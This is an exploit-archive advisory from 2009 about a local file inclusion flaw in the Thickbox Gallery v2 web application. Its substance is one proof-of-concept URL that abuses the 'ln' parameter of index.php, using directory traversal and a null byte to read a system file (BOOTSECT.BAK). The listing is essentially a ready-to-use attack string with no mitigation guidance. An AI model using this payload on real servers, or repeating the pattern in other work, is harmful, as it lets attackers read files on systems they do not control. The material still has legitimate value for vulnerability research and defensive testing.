[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Thickbox Gallery v2 (index.php ln) Local File Inclusion Vulnerability
# Published : 2009-04-27
# Author : SirGod
# Previous Title : DEW-NEWphpLinks 2.0 (LFI/XSS) Multiple Remote Vulnerabilities
# Next Title : EZ-Blog Beta2 (category) Remote SQL Injection Vulnerability
##########################################################################################
[+] Thickbox Gallery v2 Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
##########################################################################################
[+] Local File Inclusion
PoC :
http://127.0.0.1/[path]/index.php?ln=../../../../../../BOOTSECT.BAK%00
##########################################################################################
# www.Syue.com [2009-04-27]